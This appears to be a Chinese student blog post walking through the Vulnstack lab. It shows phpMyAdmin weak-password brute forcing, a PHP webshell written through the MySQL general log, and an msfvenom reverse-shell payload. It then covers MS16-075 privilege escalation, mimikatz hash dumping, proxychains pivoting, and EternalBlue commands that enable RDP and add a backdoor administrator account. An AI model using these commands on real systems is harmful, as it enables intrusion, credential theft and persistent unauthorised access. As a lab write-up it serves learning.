红日靶场初探(课程大作业)

luyanpei

vulnstack

​ 这是渗透测试技术这门课得期末大作业,对于二进制选手来说还是一言难尽,一直想着好好学学web和渗透方面的知识,在这里记录一下自己独立完成作业吧。

实验环境

​ 本次实训的环境是由虚拟机搭建的靶场,靶场由两台虚拟机构成,分别为WIN7、WINSERVER2008,由图拓扑结构简单,不予展示,渗透测试所用系统自行安装。

win7作为一台Web服务器,安装了双网卡,如下所示,NAT模式模拟外网,仅主机模式模拟内网。

image-20250526150744951

WINSERVER2008作为一台域控制器,处于内网中,单网卡,网络模式选择仅主机模式。

image-20250526150752107

实训要求

  1. 自行下载搭建本次实训所用靶场,下载连接如下https://mirror.nyist.edu.cn/soft_class_test/。

img

2.下载好后使用Vmware加载虚拟机。由于本次实训模拟真实环境,因此不告知两台虚拟机的登录密码以及具体IP。

3.本次靶场渗透的目标是获得域控WINSERVER2008的控制权,并做好权限维持。

4.根据自身的渗透过程,完成 1、2、3章的撰写,正文字体要求宋体小四。

第1章 渗透思路,主要描述本次渗透的技术路径,要求逻辑清晰,技术可行。

第2章 步骤描述,根据渗透思路描述具体的渗透步骤,要求描述详细完整,不允许只有图没有文字。

第3章 渗透总结,描述本次实训过程中遇到的困难,以及心得体会。

下面该我的实操了

下载之后加载好两台机器,因为给了一台win7,一台server。并且win7是双网卡,所以windows7充当的是web服务器。

并且老师没有给出两台机器的ip和密码,先做信息搜集确定web服务器的ip地址

虚拟机配置可以看到两台机器的mac地址

win7:00:0C:29:F9:A9:05

server:00:0C:29:ED:C3:3D

信息搜集

通过nmap扫描得到

image-20250526151218045

确定web服务器的ip

win7:192.168.44.129

kali:192.168.44.131

再扫描一下确定目标机器开放了哪些端口

image-20250526151829175

80 135 3306 8080

尝试访问一下该web服务

image-20250526151421161

发现是一个php探针,并泄露大量信息

image-20250526151958212

可以发现有php服务,用dirsearch扫目录

image-20250526152324255

发现phpmyadmin的目录,访问进去

phpmyadmin后台webshell

image-20250526152849213

抓包尝试去爆破账号密码。配置火狐代理设置,用burp抓包

image-20250526154631495

设置payload,弱密码爆破账号密码

image-20250526182209191

由于带token都是302,看长度判断。大部分是500,600多的长度,这个的长度是477,测试得到账号root, 密码admin123

尝试进行登录,成功进入后台

在这里还有一个更好的爆破点,在php探针的数据库检测上

image-20250528111438813

burp参数、

image-20250528111514268

但是他是弹窗的提示语句,我们在检索-提取中添加一条提取规则

image-20250528112030466

选中提示失败的语句自动匹配前后规则。然后开始攻击

image-20250528113033628

注意到这边都是乱码,看看有没有不一样的。

image-20250528120818379

root admin123有些不同。测试登录

image-20250528120934572

phpmyadmin也可以登陆上去

image-20250526183314039

可以看到版本信息,网上查漏洞,参考链接一个弱口令拿下shell(实战)_php探针2014拿shell-CSDN博客

1
2
3
4
5
6
7
show variables like 'general_log'; – 查看日志是否开启
set global general_log=on; – 开启日志功能
show variables like 'general_log_file'; – 看看日志文件保存位置
set global general_log_file='tmp/general.lg'; – 设置日志文件保存位置
show variables like 'log_output'; – 看看日志输出类型 table或file
set global log_output='table'; – 设置输出类型为 table
set global log_output='file'; – 设置输出类型为file

image-20250526183545766

sql日志并未开启。

image-20250526183633830

开启日志功能

image-20250526183844073

查看日志保存路径

下一步思路修改日志保存路径到www下面

1
set global general_log_file='C:/phpstudy/www/aaa.php';

image-20250526184150967

已被修改

然后通过日志来写一句话木马,利用蚂蚁剑去链接

1
SELECT'<?php eval($_POST["lpp"]);?>'

image-20250526184646471

写马成功,拿到webshell执行发现是

image-20250526193902611

msf写马提权

需要进行提权。在这里利用msf去进行提权,生成一个木马

1
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.44.131 lport=6577 -f exe -o lpp.exe

image-20250526194708435

将该文件利用刚刚的webshell传到靶机内,用msf监听该木马

image-20250526194915606

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.44.131
lhost => 192.168.44.131
msf6 exploit(multi/handler) > set lport 6577
lport => 6577
msf6 exploit(multi/handler) > options

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.44.131 yes The listen address (an interface may be specified)
LPORT 6577 yes The listen port


Exploit target:

Id Name
-- ----
0 Wildcard Target



View the full module info with the info, or info -d command.

用刚刚的webshell执行lpp.exe

image-20250526195252227

拿到反弹shell,但是是一个低权限用户

systeminfo显示,系统安装了 4 个修补程序。

1
2
3
4
[01]: KB2534111
[02]: KB2999226
[03]: KB958488
[04]: KB976902

image-20250526195605834

在这里用烂土豆提权。烂土豆提权就是俗称的MS16-075,可以将Windows工作站上的权限提升到 NT AUTHORITY \ SYSTEM – Windows计算机上可用的最高特权级别。

原理:攻击者可以诱骗用户尝试使用NTLM对他的计算机进行身份验证,则他可以将该身份验证尝试中继到另一台计算机!

Microsoft通过使用已经进行的质询来禁止同协议NTLM身份验证来对此进行修补。这意味着从一个主机回到自身的SMB-> SMB NTLM中继将不再起作用。但是,跨协议攻击(例如HTTP-> SMB)仍然可以正常使用!

msf上集成了该模块

image-20250526200618222

配置

image-20250526200804182

1
2
set session 1
run

image-20250526200925023

成功提升到system权限

msf上线shell

image-20250526201112863

把mimikatz上传到靶机,可以利用Mimikatz 直接抓取本机用户密码

image-20250526201700846

抓到的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
mimikatz # lsadump::sam
Domain : STU1
SysKey : fd4639f4e27c79683ae9fee56b44393f
Local SID : S-1-5-21-1982601180-2087634876-2293013296

SAMKey : 099d1915db1b0e5cf41f1f0908dc7e17

RID : 000001f4 (500)
User : Administrator
Hash NTLM: 31d6cfe0d16ae931b73c59d7e0c089c0

RID : 000001f5 (501)
User : Guest

RID : 000003e8 (1000)
User : liukaifeng01
Hash NTLM: 31d6cfe0d16ae931b73c59d7e0c089c0

但是不知道为啥cmd5也是空(遗憾,拿到system却没办法上机器)

内网信息探测

截至到现在在该环境中,已经拿到了web服务器的system权限,下一步需要做横向移动,进一步拿到server的权限,进而控制整个域

在win7机器中ipconfig/all

image-20250526220502938

得知该机器属于god.org域

ping一下该域拿到具体ip

image-20250527102225054

god.org:15.197.225.128

image-20250527110008345

1
用 net group "domain controllers" /domain 命令查看域控制器主机名,直接确认域控主机的名称为 OWA

确定整个域 OWA.god.org,ping一下拿到winserver的内网ip地址

image-20250527110130055

内网横向移动

利用msf和proxychains挂路由来进行横向移动

image-20250527110652229

找到所用的msf代理模块

image-20250527110750778

image-20250527110844582

设置选项为

1
2
3
version 4a
srvhost 127.0.0.1
srvpost 1080

image-20250527111044200

更改一下proxychains的配置,最下面改为刚刚设置的

1
vim /etc/proxychains4.conf

image-20250527111209405

curl测试代理链接

1
proxychains4 curl -v http://192.168.52.138

image-20250527111831523

能够访问到。

下面做内网的信息搜集。

利用代理nmap扫描内网win7ip开放端口,常见服务端口

1
2
proxychains4 nmap -Pn -p 21,22,80,135,139,443,445,3306,3389,8080 -sV 192.168.52.138

image-20250527123737443

对于开启了 445 端口的 Windows 服务器肯定是要进行一波永恒之蓝扫描尝试的,借助 MSF 自带的漏洞扫描模块进行扫描

image-20250527112330916

likely代表大概率存在

命令执行漏洞利用

1
2
3
4
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp #内网环境,需要正向shell连接
set rhosts 192.168.52.138
run

image-20250527112516795

并没有拿到shell,看博客说好像通过 ms17-010直接拿到shell的情况并不多

image-20250527112716555

但是可以通过永恒之蓝来进行一些命令执行

image-20250527114625386

还是system

解决msf乱码问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
msf6 auxiliary(admin/smb/ms17_010_command) > set COMMAND chcp 65001
COMMAND => chcp 65001
msf6 auxiliary(admin/smb/ms17_010_command) > run

[*] 192.168.52.138:445 - Target OS: Windows Server 2008 R2 Datacenter 7601 Service Pack 1
[*] 192.168.52.138:445 - Built a write-what-where primitive...
[+] 192.168.52.138:445 - Overwrite complete... SYSTEM session obtained!
[+] 192.168.52.138:445 - Service start timed out, OK if running a command or non-service executable...
[*] 192.168.52.138:445 - Getting the command output...
[*] 192.168.52.138:445 - Executing cleanup...
[+] 192.168.52.138:445 - Cleanup was successful
[+] 192.168.52.138:445 - Command completed successfully!
[*] 192.168.52.138:445 - Output for "chcp 65001":

Active code page: 65001

就可以正常回显了

尝试开启3389和关闭防火墙。rdp链接上去

1
set COMMAND REG ADD "HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

开启防火墙中的 RDP 端口

1
2
set COMMAND netsh advfirewall firewall set rule group="remote desktop" new enable=Yes
run

image-20250527113210367

添加一个用户

1
2
set COMMAND net user hacker admin123@ /add
run

image-20250527113416385

没回显说明创建成功

给自己加到管理员组

1
2
3
4
msf6 auxiliary(admin/smb/ms17_010_command) > set COMMAND net localgroup Administrators hacker /add

msf6 auxiliary(admin/smb/ms17_010_command) > run

image-20250527174059943

1
2
hacker
admin123@

但是不知道为什么rdesktop一直连不上去

1
2
3
4
set COMMAND net user hacker admin123@ /add
set COMMAND net localgroup Administrators hacker /add
set COMMAND net user

image-20250527174012420

ok

hacker上机,进去就是administrator权限

渗透测试结束,系统十分安全

ps

1
2
直接加本地路由就不需要代理了
route add -host 192.168.52.138 gw 192.168.44.130

二进制选手表示真累

  • Title: 红日靶场初探(课程大作业)
  • Author: luyanpei
  • Created at : 2025-05-27 18:07:05
  • Updated at : 2025-05-28 12:15:46
  • Link: https://redefine.ohevan.com/2025/05/27/内网渗透-红日靶场初探/
  • License: All Rights Reserved © luyanpei